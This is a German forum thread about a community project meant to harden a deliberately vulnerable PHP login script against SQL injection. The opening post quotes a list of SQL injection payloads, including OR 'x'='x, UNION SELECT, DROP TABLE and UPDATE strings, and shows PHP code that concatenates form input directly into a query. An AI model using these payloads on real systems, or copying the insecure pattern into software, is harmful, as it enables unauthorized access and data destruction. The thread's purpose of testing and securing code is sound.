Mysql Injection Projekt Schritt für Schritt sicher machen

#0
11.02.2007, 12:20
...neu hier

Beiträge: 4
#1 Hi es wird oft auf anderen Seiten wie einfach es sein soll Sql befehle unter zu jubeln.Aber viele der Beispiele gehen erst garnicht auch bei einen unsicheren Script. Hier mal ein Zitat von einen anderen Beitrag aus dem Forum.

Zitat

Guess Table Name
x' AND 1=(SELECT COUNT(*) FROM tablename); --
Guess Field Name
x' AND fieldName IS NULL; --
Select All
anything' OR 'x'='x
Insert
x'; INSERT INTO tablename ('field1','field2') VALUES ('1','2');--
Like Values
x' OR full_name LIKE '%Bob%
Guess specific values
bob@example.com' AND passwd = 'hello123
union
' union select * from table
drop table
x'; DROP TABLE members; --
update
x'; UPDATE tablename SET field1 = 'value' WHERE field1 = 'oldvalue'
integer field select all
23 OR 1=1
x'; UPDATE tablename SET field1 = 'value' WHERE field1 = 'oldvalue'
Das würd schon nicht gegen weil nur 1 Sql befehl zu gelassen wird.
Das was villeicht gehen würde wenn der Sql ungeschickt geschrieben ist und
zwar mit count were anything' OR 'x'='x

Nun zum Eigentlichen wenn ihr lust hab zum Thema Sicherheit ein kleines Projekt zu starten und eure Erfahrung zu Posten.
Ich hab eine kleine Test Seite erstellt.In der versucht werden soll Sql befehle einzuschleusen.
Ziel ist es sich Zugang zu verschaffen durch Sql manipulation. Sollte es jemand gelingen dann bitte Posten wie er es gemacht hat. Dann wird das script umgeschrieben und sicherher gemacht solang bis es keiner mehr schaft Sql befehle einzuschleusen.

Wie ihr gleich im Projekt link sehen werdet ist es net so einfach einen gültigen Wert zu erzeugen.
Bitte aber keine Zerstörischen oder boswilligen sachen einschleusen wie löschen oder so. Wenn ihr es schafft könnt ihr Db einträge machen.

Nun damit das ganze Leichter ist hab ich für euch auch noch den Sql string ausgeben der an die Db gesendet wird.

Php Code vom Projekt
<?php
session_start ();
include_once ("inc/db.php");
$db = new db($fehler);

unset ($send);
$Log = $_POST["Login"] ; // Login Daten aus Formular übergeben
$Lpw = $_POST["Pw"]; // Password Daten aus Formular übergeben
$send =$_POST["send"];

if (isset($send)) {

$sql="select * from user where Login ='".$_POST["Login"]."'";
echo $sql."<br>";
$db->query($sql);

while ($db->next_record()) {

$Login= $db->r("Login");
$pw= $db->r("Pw");
}

// Log und Password daten vergleichen
If ($Log == $Login and $Lpw == $pw and $Login != "") {
echo "Login Erfolgreich <br>";
$_SESSION["user"] = True ;
include ("drin.php");
}
else
{ echo"Kein Zutritt";
session_unset ();
session_destroy ();
}
}
//show_source ('index.php');
?>
<form action="<?=$_SERVER['PHP_SELF']?>" method="post" target=_self>
<font color="#000000"><b>Login </b></font><br>
<INPUT type="text" size=20 name="Login" value="" /><br>
<font color="#000000"><b>Password</b></font><br>
<INPUT type="Password" size=18 name="Pw" value="" />
<input type="hidden" name="send" value="1">
<input type=submit name="pButton" value="OK" /><br>
</form>
?>

So nun viel spaß beim Testen des Unsicheren Script.
Testseite unter:
http://kabon.kilu2.de/Sichtest
Dieser Beitrag wurde am 11.02.2007 um 12:26 Uhr von splasch editiert.
Seitenanfang Seitenende
22.02.2007, 12:12
...neu hier

Themenstarter

Beiträge: 4
#2 Demnach nicht viel interresse daran bestäht werd ich das Projekt still legen und die Seite offline schalten.
Seitenanfang Seitenende
22.02.2007, 12:58
Moderator
Avatar hevtig

Beiträge: 2310
#3 Schade eigentlich.
Ist nicht so, daß kein Interesse besteht. bislang allerdings noch keine Zeit gehabt :/
__________
Woher soll ich wissen was ich denke, bevor ich höre was ich sage??
Sag NEIN zu HD+/CI+ - boykottiert die Etablierung von HD+/CI+!
Seitenanfang Seitenende
Um auf dieses Thema zu ANTWORTEN
bitte erst » hier kostenlos registrieren!!

Folgende Themen könnten Dich auch interessieren: